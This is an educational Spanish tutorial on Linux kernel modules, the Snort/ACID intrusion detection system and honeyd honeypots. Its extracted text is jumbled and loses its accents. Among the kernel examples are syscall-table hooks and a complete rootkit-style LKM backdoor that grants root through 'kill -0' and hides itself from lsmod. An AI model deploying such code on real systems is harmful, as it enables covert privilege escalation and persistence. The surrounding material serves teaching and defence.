Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 6: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

2- Conceptos baacutesicos

Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen

Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos

1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30

El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado

f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74

Kernel hacks y seguridad JMP

Kerneland y Userland

Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland

Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes

Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo

Archivos de cabecera

Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo

Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura

Llamadas al sistema

En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal

Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario

Kernel hacks y seguridad JMP

3- Loadable Kernel Modules

Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente

Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute

Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod

Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)

Kernel hacks y seguridad JMP

31- Compilacioacuten de LKMs para la serie 24x

Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel

root gcc -c listado2c -I usrsrclinuxinclude

lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado

root insmod listado2o parm_entero=5

podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt

Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute

Explicacioacuten

En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso

Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel

Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog

Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages

Kernel hacks y seguridad JMP

4- Sys_call_table[] en kernels 22 y 24

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo

extern void sys_call_table[]

Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)

Listado 3

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)

Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento

El funcionmiento se explica a continuacioacuten

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

